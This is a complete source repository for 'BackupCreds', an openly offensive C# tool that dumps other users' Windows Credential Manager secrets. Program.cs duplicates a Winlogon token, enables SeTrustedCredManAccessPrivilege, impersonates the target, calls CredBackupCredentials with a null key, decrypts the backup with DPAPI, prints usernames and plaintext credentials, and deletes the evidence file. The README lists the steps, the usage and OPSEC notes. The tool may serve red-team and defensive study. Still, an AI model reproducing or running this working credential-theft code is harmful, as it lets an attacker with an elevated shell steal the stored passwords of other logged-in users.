├── .gitignore
├── backupcreds
├── App.config
├── backupcreds.csproj.user
├── Properties
│ └── AssemblyInfo.cs
├── BackupCreds.csproj
├── Interop.cs
└── Program.cs
├── backupcreds.sln
├── LICENSE
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | .vs/
2 | bin/
3 | obj/
4 | packages/
--------------------------------------------------------------------------------
/backupcreds/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/backupcreds/backupcreds.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | 5140
5 |
6 |
--------------------------------------------------------------------------------
/backupcreds.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.33927.289
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BackupCreds", "backupcreds\BackupCreds.csproj", "{7943C5FF-C219-4E0B-992E-0ECDEB2681F3}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {7943C5FF-C219-4E0B-992E-0ECDEB2681F3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {7943C5FF-C219-4E0B-992E-0ECDEB2681F3}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {7943C5FF-C219-4E0B-992E-0ECDEB2681F3}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {7943C5FF-C219-4E0B-992E-0ECDEB2681F3}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {5FD0E1F7-8C66-46FC-94BD-045116627889}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/backupcreds/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.InteropServices;
3 |
4 | // General Information about an assembly is controlled through the following
5 | // set of attributes. Change these attribute values to modify the information
6 | // associated with an assembly.
7 | [assembly: AssemblyTitle("BackupCreds")]
8 | [assembly: AssemblyDescription("")]
9 | [assembly: AssemblyConfiguration("")]
10 | [assembly: AssemblyCompany("")]
11 | [assembly: AssemblyProduct("BackupCreds")]
12 | [assembly: AssemblyCopyright("Copyright © 2022")]
13 | [assembly: AssemblyTrademark("")]
14 | [assembly: AssemblyCulture("")]
15 |
16 | // Setting ComVisible to false makes the types in this assembly not visible
17 | // to COM components. If you need to access a type in this assembly from
18 | // COM, set the ComVisible attribute to true on that type.
19 | [assembly: ComVisible(false)]
20 |
21 | // The following GUID is for the ID of the typelib if this project is exposed to COM
22 | [assembly: Guid("182120d0-109f-490c-965b-6fbe7147fdba")]
23 |
24 | // Version information for an assembly consists of the following four values:
25 | //
26 | // Major Version
27 | // Minor Version
28 | // Build Number
29 | // Revision
30 | //
31 | // You can specify all the values or you can default the Build and Revision Numbers
32 | // by using the '*' as shown below:
33 | // [assembly: AssemblyVersion("1.0.*")]
34 | [assembly: AssemblyVersion("1.0.0.0")]
35 | [assembly: AssemblyFileVersion("1.0.0.0")]
36 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2023, Lefteris Panos
4 |
5 | Redistribution and use in source and binary forms, with or without
6 | modification, are permitted provided that the following conditions are met:
7 |
8 | 1. Redistributions of source code must retain the above copyright notice, this
9 | list of conditions and the following disclaimer.
10 |
11 | 2. Redistributions in binary form must reproduce the above copyright notice,
12 | this list of conditions and the following disclaimer in the documentation
13 | and/or other materials provided with the distribution.
14 |
15 | 3. Neither the name of the copyright holder nor the names of its
16 | contributors may be used to endorse or promote products derived from
17 | this software without specific prior written permission.
18 |
19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
29 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # BackupCreds
2 |
3 | ```
4 | ________________________________________________
5 | | _____________________________ |
6 | | [][] _____________________________ [_][_][_] |
7 | | [][] [_][_][_] [_][_][_][_] [_][_] [_][_][_] |
8 | | Dump all the Creds! |
9 | | [][] [][][][][][][][][][][][][][_] [][][][] |
10 | | [][] [_][][][][][][][][][][][][][] [][][][] |
11 | | [][] [__][][][][][][][][][][][][_] [][][][] |
12 | | [][] [___][][][][][][][][][][][__] [__][][] |
13 | | [_][______________][_] |
14 | | Lefteris (lefty) Panos |
15 | |______________________________________________|
16 | ```
17 | ## Abusing SeTrustedCredmanAccessPrivilege to dump user creds
18 | The program provides the ability to dump the stored credentials a user might have in the Windows Credential Manager.
19 |
20 | It is a useful technique in cases where an elevated shell exists and multiple users are currently logged in.
21 |
22 | ## Steps
23 |
24 | 1) Finds the right WinLogon process of the user we want to dump the creds
25 | 2) Opens the WinLogon process with PROCESS_QUERY_LIMITED_INFORMATION access
26 | 3) Duplicates token with TOKEN_DUPLICATE access
27 | 4) Turns token to impersonation token
28 | 5) Enables SeTrustedCredmanAccessPrivilege permission
29 | 6) Opens the target process of the user
30 | 7) Steals and impersonates target user
31 | 8) Calls CredBackupCredentials while impersonating the WinLogon token passing a path to write to and a NULL password to disable the user encryption
32 | 9) While still impersonating opens the file and decrypts it using the CryptUnprotectData API
33 | 10) Deletes the file
34 |
35 | ## Usage
36 | backupcreds ```[PID of target user]``` ```[path to save file]```
37 |
38 | Must be run from an elevated context.
39 |
40 | ## OPSEC
41 | Currently writes to disk to an operator provided path. Will delete the path once done.
42 | Accesses WinLogon.
43 |
44 | ## Credits
45 | * Based on https://www.tiraniddo.dev/2021/05/dumping-stored-credentials-with.html
46 | * Uses parts of SharpDPAPI (https://github.com/GhostPack/SharpDPAPI/)
47 | * Shouts to @eksperience for helping out with the parsing and Nettitute RT
48 |
--------------------------------------------------------------------------------
/backupcreds/BackupCreds.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {7943C5FF-C219-4E0B-992E-0ECDEB2681F3}
8 | Exe
9 | BackupCreds
10 | BackupCreds
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | none
24 | 4
25 |
26 |
27 | AnyCPU
28 | none
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
--------------------------------------------------------------------------------
/backupcreds/Interop.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace BackupCreds
5 | {
6 | internal static class Interop
7 | {
8 | public const uint STANDARD_RIGHTS_REQUIRED = 0x000F0000;
9 | public const uint TOKEN_ASSIGN_PRIMARY = 0x0001;
10 | public const uint TOKEN_DUPLICATE = 0x0002;
11 | public const uint TOKEN_IMPERSONATE = 0x0004;
12 | public const uint TOKEN_QUERY = 0x0008;
13 | public const uint TOKEN_QUERY_SOURCE = 0x0010;
14 | public const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
15 | public const uint TOKEN_ADJUST_GROUPS = 0x0040;
16 | public const uint TOKEN_ADJUST_DEFAULT = 0x0080;
17 | public const uint TOKEN_ADJUST_SESSIONID = 0x0100;
18 | public static uint TOKEN_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
19 | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
20 | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
21 | TOKEN_ADJUST_SESSIONID;
22 | //internal static uint SeTrustedCredManAccessPrivilege = 0x0031;
23 | internal const uint SePrivilegeEnabled = 0x00000002;
24 |
25 | [StructLayout(LayoutKind.Sequential)]
26 | public struct TokenPrivileges
27 | {
28 | public uint PrivilegeCount;
29 | public LUID Luid;
30 | public uint Attributes;
31 | }
32 | [StructLayout(LayoutKind.Sequential)]
33 | public struct SECURITY_ATTRIBUTES
34 | {
35 | public int nLength;
36 | public IntPtr lpSecurityDescriptor;
37 | public int bInheritHandle;
38 | }
39 | public enum TOKEN_TYPE
40 | {
41 | TokenPrimary = 1,
42 | TokenImpersonation
43 | }
44 |
45 | public enum SECURITY_IMPERSONATION_LEVEL
46 | {
47 | SecurityAnonymous = 0,
48 | SecurityIdentification = 1,
49 | SecurityImpersonation = 2,
50 | SecurityDelegation = 3
51 | }
52 |
53 | public enum ProcessAccessFlags : uint
54 | {
55 | PROCESS_ALL_ACCESS = 0x1f0fff,
56 | PROCESS_TERMINATE = 0x1,
57 | PROCESS_CREATE_THREAD = 0x2,
58 | PROCESS_VM_OPERATION = 0x8,
59 | PROCESS_VM_READ = 0x10,
60 | PROCESS_VM_WRITE = 0x20,
61 | PROCESS_DUP_HANDLE = 0x40,
62 | PROCESS_SET_INFORMATION = 0x200,
63 | PROCESS_SET_QUOTA = 0x100,
64 | PROCESS_QUERY_INFORMATION = 0x400,
65 | PROCESS_QUERY_LIMITED_INFORMATION = 0x1000,
66 | SYNCHRONIZE = 0x100000,
67 | PROCESS_CREATE_PROCESS = 0x80,
68 | PROCESS_SUSPEND_RESUME = 0x800
69 | }
70 |
71 | [Flags]
72 | public enum IsTextUnicodeFlags
73 | {
74 | IS_TEXT_UNICODE_ASCII16 = 0x0001,
75 | IS_TEXT_UNICODE_REVERSE_ASCII16 = 0x0010,
76 |
77 | IS_TEXT_UNICODE_STATISTICS = 0x0002,
78 | IS_TEXT_UNICODE_REVERSE_STATISTICS = 0x0020,
79 |
80 | IS_TEXT_UNICODE_CONTROLS = 0x0004,
81 | IS_TEXT_UNICODE_REVERSE_CONTROLS = 0x0040,
82 |
83 | IS_TEXT_UNICODE_SIGNATURE = 0x0008,
84 | IS_TEXT_UNICODE_REVERSE_SIGNATURE = 0x0080,
85 |
86 | IS_TEXT_UNICODE_ILLEGAL_CHARS = 0x0100,
87 | IS_TEXT_UNICODE_ODD_LENGTH = 0x0200,
88 | IS_TEXT_UNICODE_DBCS_LEADBYTE = 0x0400,
89 | IS_TEXT_UNICODE_NULL_BYTES = 0x1000,
90 |
91 | IS_TEXT_UNICODE_UNICODE_MASK = 0x000F,
92 | IS_TEXT_UNICODE_REVERSE_MASK = 0x00F0,
93 | IS_TEXT_UNICODE_NOT_UNICODE_MASK = 0x0F00,
94 | IS_TEXT_UNICODE_NOT_ASCII_MASK = 0xF000
95 | }
96 | public struct LUID
97 | {
98 | public uint LowPart;
99 | public int HighPart;
100 | }
101 |
102 | [DllImport("advapi32.dll")]
103 | public static extern bool LookupPrivilegeValue(string systemName, string privilegeName, out LUID luid);
104 |
105 | [DllImport("advapi32.dll", SetLastError = true)]
106 | [return: MarshalAs(UnmanagedType.Bool)]
107 | public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, [MarshalAs(UnmanagedType.Bool)] bool DisableAllPrivileges, ref TokenPrivileges NewState, int len, IntPtr prev, IntPtr relen);
108 |
109 | [DllImport("advapi32.dll", SetLastError = true)]
110 | [return: MarshalAs(UnmanagedType.Bool)]
111 | public static extern bool OpenProcessToken(IntPtr processHandle, uint desiredAccess, out IntPtr tokenHandle);
112 |
113 | [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
114 | public static extern bool DuplicateTokenEx(
115 | IntPtr hExistingToken,
116 | uint dwDesiredAccess,
117 | ref SECURITY_ATTRIBUTES lpTokenAttributes,
118 | SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
119 | TOKEN_TYPE TokenType,
120 | out IntPtr phNewToken);
121 |
122 | [DllImport("advapi32.dll", SetLastError = true)]
123 | public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
124 |
125 | [return: MarshalAs(UnmanagedType.Bool)]
126 | [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
127 | public static extern bool CredBackupCredentials(IntPtr Token,string FilePath, IntPtr Key, int KeySize, int KeyEncoded);
128 |
129 | [DllImport("advapi32.dll", SetLastError = true)]
130 | public static extern bool RevertToSelf();
131 |
132 | [DllImport("advapi32.dll", SetLastError = false)]
133 | public static extern bool IsTextUnicode(
134 | byte[] buf,
135 | int len,
136 | ref IsTextUnicodeFlags opt
137 | );
138 |
139 |
140 | [DllImport("kernel32.dll")]
141 | public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId);
142 | [DllImport("kernel32.dll", SetLastError = true)]
143 | public static extern bool CloseHandle(IntPtr hHandle);
144 |
145 | [DllImport("kernel32.dll", SetLastError = true)]
146 | public static extern IntPtr GetCurrentProcess();
147 |
148 | }
149 | }
150 |
--------------------------------------------------------------------------------
/backupcreds/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.IO;
5 | using System.Runtime.InteropServices;
6 | using System.Security.Cryptography;
7 | using System.Security.Principal;
8 | using System.Text;
9 | using Microsoft.Win32.SafeHandles;
10 | using static BackupCreds.Interop;
11 |
12 | namespace BackupCreds
13 | {
14 | public static class Program
15 | {
16 | private static List> Split(byte[] arr)
17 | {
18 | var result = new List>();
19 | var offset = 0;
20 | var blobsize = 0;
21 | try
22 | {
23 | do
24 | {
25 | offset += blobsize;
26 | var delimeter = BitConverter.ToInt32(arr, offset);
27 | if (delimeter != 48)
28 | {
29 | offset += 1;
30 | }
31 | blobsize = BitConverter.ToInt32(arr, offset + 4);
32 | result.Add(new ArraySegment(arr, offset, blobsize));
33 | } while (offset + blobsize < arr.Length);
34 | }
35 | catch (Exception ex)
36 | {
37 | Console.WriteLine($"[!] Exception happened in parsing of blob. Please report it! Exception was {ex}\n");
38 | Console.WriteLine("[!] Returning partial results ***********");
39 | return result;
40 | }
41 |
42 | return result;
43 | }
44 |
45 | public static bool EnableDebugPrivilege()
46 | {
47 | var hproc = GetCurrentProcess();
48 | if (!OpenProcessToken(hproc, 0x0020 | 0x0008, out var htok))
49 | {
50 | Console.WriteLine("[*] OpenProcessToken failed trying to enable SeDebugPrivilege");
51 | return false;
52 | }
53 | TokenPrivileges tkpPrivileges;
54 | tkpPrivileges.PrivilegeCount = 1;
55 | tkpPrivileges.Attributes = SePrivilegeEnabled;
56 | LookupPrivilegeValue(null, "SeDebugPrivilege", out tkpPrivileges.Luid);
57 | AdjustTokenPrivileges(htok, false, ref tkpPrivileges, 0, IntPtr.Zero, IntPtr.Zero);
58 | Console.WriteLine("[*] SeDebugPrivilege enabled");
59 | return true;
60 | }
61 |
62 | public static bool IsUnicode(byte[] bytes)
63 | {
64 | // helper that users the IsTextUnicode() API call to determine if a byte array is likely unicode text
65 | var flags = IsTextUnicodeFlags.IS_TEXT_UNICODE_STATISTICS;
66 | return IsTextUnicode(bytes, bytes.Length, ref flags);
67 | }
68 |
69 | public static void ParseDecCredBlob(byte[] decBlobBytes,int offset)
70 | {
71 | // code taken from https://github.com/GhostPack/SharpDPAPI/blob/master/SharpDPAPI/lib/Dpapi.cs
72 | try
73 | {
74 | //var offset = 0;
75 | var credFlags = BitConverter.ToUInt32(decBlobBytes, offset);
76 | offset += 4;
77 | var credSize = BitConverter.ToUInt32(decBlobBytes, offset);
78 | offset += 4;
79 | var credUnk0 = BitConverter.ToUInt32(decBlobBytes, offset);
80 | offset += 4;
81 | var type = BitConverter.ToUInt32(decBlobBytes, offset);
82 | offset += 4;
83 | var flags = BitConverter.ToUInt32(decBlobBytes, offset);
84 | offset += 4;
85 |
86 | var lastWritten = BitConverter.ToInt64(decBlobBytes, offset);
87 | offset += 8;
88 | var lastWrittenTime = new DateTime();
89 | var unkFlagsOrSize = BitConverter.ToUInt32(decBlobBytes, offset);
90 | offset += 4;
91 | var persist = BitConverter.ToUInt32(decBlobBytes, offset);
92 | offset += 4;
93 | var attributeCount = BitConverter.ToUInt32(decBlobBytes, offset);
94 | offset += 4;
95 | var unk0 = BitConverter.ToUInt32(decBlobBytes, offset);
96 | offset += 4;
97 | var unk1 = BitConverter.ToUInt32(decBlobBytes, offset);
98 | offset += 4;
99 |
100 | var targetNameLen = BitConverter.ToInt32(decBlobBytes, offset);
101 | offset += 4;
102 | var targetName = Encoding.Unicode.GetString(decBlobBytes, offset, targetNameLen);
103 | offset += targetNameLen;
104 | Console.WriteLine($" TargetName : {targetName.Trim()}");
105 |
106 | var targetAliasLen = BitConverter.ToInt32(decBlobBytes, offset);
107 | offset += 4;
108 | var targetAlias = Encoding.Unicode.GetString(decBlobBytes, offset, targetAliasLen);
109 | offset += targetAliasLen;
110 | Console.WriteLine($" TargetAlias : {targetAlias.Trim()}");
111 |
112 | var commentLen = BitConverter.ToInt32(decBlobBytes, offset);
113 | offset += 4;
114 | var comment = Encoding.Unicode.GetString(decBlobBytes, offset, commentLen);
115 | offset += commentLen;
116 | Console.WriteLine($" Comment : {comment.Trim()}");
117 |
118 | var unkDataLen = BitConverter.ToInt32(decBlobBytes, offset);
119 | offset += 4;
120 | var unkData = Encoding.Unicode.GetString(decBlobBytes, offset, unkDataLen);
121 | offset += unkDataLen;
122 |
123 | var userNameLen = BitConverter.ToInt32(decBlobBytes, offset);
124 | offset += 4;
125 | var userName = Encoding.Unicode.GetString(decBlobBytes, offset, userNameLen);
126 | offset += userNameLen;
127 | Console.WriteLine($" UserName : {userName.Trim()}");
128 |
129 | var credBlobLen = BitConverter.ToInt32(decBlobBytes, offset);
130 | offset += 4;
131 | var credBlobBytes = new byte[credBlobLen];
132 | Array.Copy(decBlobBytes, offset, credBlobBytes, 0, credBlobLen);
133 | offset += credBlobLen;
134 | if (IsUnicode(credBlobBytes))
135 | {
136 | var credBlob = Encoding.Unicode.GetString(credBlobBytes);
137 | Console.WriteLine($" Credential : {credBlob.Trim()}");
138 | }
139 | else
140 | {
141 | var credBlobByteString = BitConverter.ToString(credBlobBytes).Replace("-", " ");
142 | Console.WriteLine($" Credential : {credBlobByteString.Trim()}");
143 | }
144 | }
145 | catch (Exception e)
146 | {
147 | Console.WriteLine(e);
148 | throw;
149 | }
150 | }
151 | static void Main(string[] args)
152 | {
153 | if (args.Length != 2)
154 | {
155 | Help();
156 | }
157 | else
158 | {
159 | try
160 | {
161 | DoDump(int.Parse(args[0]), args[1]);
162 | }
163 | catch (Exception e)
164 | {
165 | Console.WriteLine($"[!] Something went terribly wrong: {e}");
166 | }
167 | }
168 | }
169 | private static void Help()
170 | {
171 | Console.WriteLine("BackupCreds [PID of target user] [path to save file]");
172 | }
173 | private static void DoDump(int targetProcess, string path)
174 | {
175 | try
176 | {
177 | EnableDebugPrivilege();
178 | var processesByName = Process.GetProcessesByName("winlogon");
179 |
180 | //Get the target process the user provided
181 | var userProcess = Process.GetProcessById(targetProcess);
182 | Console.WriteLine($"[*] Targeting process with PID {userProcess.Id} which runs under session: {userProcess.SessionId}");
183 |
184 | //we need to find the right winlogon if multiple exist
185 | Process winlogon = null;
186 | foreach (var p in processesByName)
187 | {
188 | if (p.SessionId != userProcess.SessionId) continue;
189 | winlogon = p;
190 | Console.WriteLine($"[*] Found Winlogon process with PID {winlogon.Id} matching session id: {p.SessionId}");
191 | }
192 |
193 | if (winlogon != null)
194 | {
195 | Console.WriteLine($"[*] Opening Winlogon with PID {winlogon.Id}");
196 | var hProcess = OpenProcess(ProcessAccessFlags.PROCESS_QUERY_LIMITED_INFORMATION, false, winlogon.Id);
197 | if (hProcess != IntPtr.Zero)
198 | {
199 | Console.WriteLine($"[*] Cloning token of Winlogon with PID {winlogon.Id}");
200 | if (OpenProcessToken(hProcess, 0x0002, out var winLogonToken))// TOKEN_DUPLICATE = 0x0002
201 | {
202 | // 2 == SecurityImpersonation
203 | var sa = new SECURITY_ATTRIBUTES();
204 | if (DuplicateTokenEx(winLogonToken, (uint)TokenAccessLevels.AllAccess, ref sa, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TOKEN_TYPE.TokenPrimary, out var hDupToken))
205 | {
206 | if (!LookupPrivilegeValue(null, "SeTrustedCredManAccessPrivilege", out var luidSeTrustedCredManAccessPrivilege))
207 | {
208 | Console.WriteLine($"[!] LookupPrivilegeValue() failed, error = {Marshal.GetLastWin32Error()} SeTrustedCredManAccessPrivilege is not available");
209 | CloseHandle(hDupToken);
210 | CloseHandle(hProcess);
211 | return;
212 | }
213 |
214 | TokenPrivileges tkpPrivileges;
215 | tkpPrivileges.PrivilegeCount = 1;
216 | tkpPrivileges.Luid = luidSeTrustedCredManAccessPrivilege;
217 | tkpPrivileges.Attributes = SePrivilegeEnabled;
218 | var buffLen = (uint)Marshal.SizeOf(tkpPrivileges);
219 | if (!AdjustTokenPrivileges(hDupToken, false, ref tkpPrivileges, (int)buffLen, IntPtr.Zero, IntPtr.Zero))
220 | {
221 | Console.WriteLine($"[!] AdjustTokenPrivileges() failed, error = {Marshal.GetLastWin32Error()} SeSeTrustedCredManAccessPrivilege is not available");
222 | CloseHandle(hDupToken);
223 | CloseHandle(hProcess);
224 | return;
225 | }
226 |
227 | var procHandle = new SafeWaitHandle(userProcess.Handle, true);
228 | if (!OpenProcessToken(procHandle.DangerousGetHandle(), (uint) TokenAccessLevels.MaximumAllowed, out var userToken))
229 | {
230 | Console.WriteLine($"[!] OpenProcessToken of user process with PID {userProcess.Id} failed {Marshal.GetLastWin32Error()}");
231 | CloseHandle(hDupToken);
232 | CloseHandle(hProcess);
233 | return;
234 | }
235 |
236 | if (!ImpersonateLoggedOnUser(hDupToken))
237 | {
238 | Console.WriteLine($"[!] ImpersonateLoggedOnUser() failed, error = {Marshal.GetLastWin32Error()}");
239 | CloseHandle(hDupToken);
240 | CloseHandle(hProcess);
241 | CloseHandle(userToken);
242 | return;
243 | }
244 |
245 | if (!CredBackupCredentials(userToken, path, IntPtr.Zero, 0, 0))
246 | {
247 | Console.WriteLine("[!] CredBackupCredentials() returned false");
248 | return;
249 | }
250 |
251 | byte[] decBytes;
252 | if (File.Exists(path))
253 | {
254 | try
255 | {
256 | decBytes = ProtectedData.Unprotect(File.ReadAllBytes(path), null, DataProtectionScope.CurrentUser);
257 | Console.WriteLine("[*] Incoming creds!!!");
258 | Console.WriteLine("");
259 | }
260 | catch (CryptographicException e)
261 | {
262 | Console.WriteLine($"[!] ProtectedData Unprotect failed. {e}");
263 | return;
264 | }
265 | }
266 | else
267 | {
268 | Console.WriteLine("[!] No file has been written to the provided location");
269 | return;
270 | }
271 |
272 | if (decBytes.Length != 0)
273 | {
274 | var newArray = new byte[decBytes.Length - 12];
275 | Buffer.BlockCopy(decBytes, 12, newArray, 0, newArray.Length);
276 |
277 | foreach (var element in Split(newArray))
278 | {
279 | ParseDecCredBlob(element.Array, element.Offset);
280 | }
281 | }
282 | Console.WriteLine("");
283 | Console.WriteLine($"[*] Deleting file at {path}");
284 | File.Delete(path);
285 | Console.WriteLine("[*] Enjoy your creds! Reverting to self");
286 | RevertToSelf();
287 | CloseHandle(hDupToken);
288 | CloseHandle(userToken);
289 | CloseHandle(hProcess);
290 | CloseHandle(winLogonToken);
291 | CloseHandle(hDupToken);
292 |
293 | }
294 | else
295 | {
296 | Console.WriteLine("[!] Winlogon DuplicateToken failed!");
297 | }
298 | }
299 | else
300 | {
301 | Console.WriteLine("[!] Winlogon OpenProcessToken failed!");
302 | }
303 | }
304 | else
305 | {
306 | Console.WriteLine($"[!] OpenProcess failed on process with PID {winlogon.Id}");
307 | }
308 | }
309 | else
310 | {
311 | Console.WriteLine("[!] Unable to find target Winlogon process");
312 | }
313 | }
314 | catch (Exception e)
315 | {
316 | Console.WriteLine($"[!] Exception happened: {e}");
317 | }
318 | }
319 | }
320 | }
321 |
--------------------------------------------------------------------------------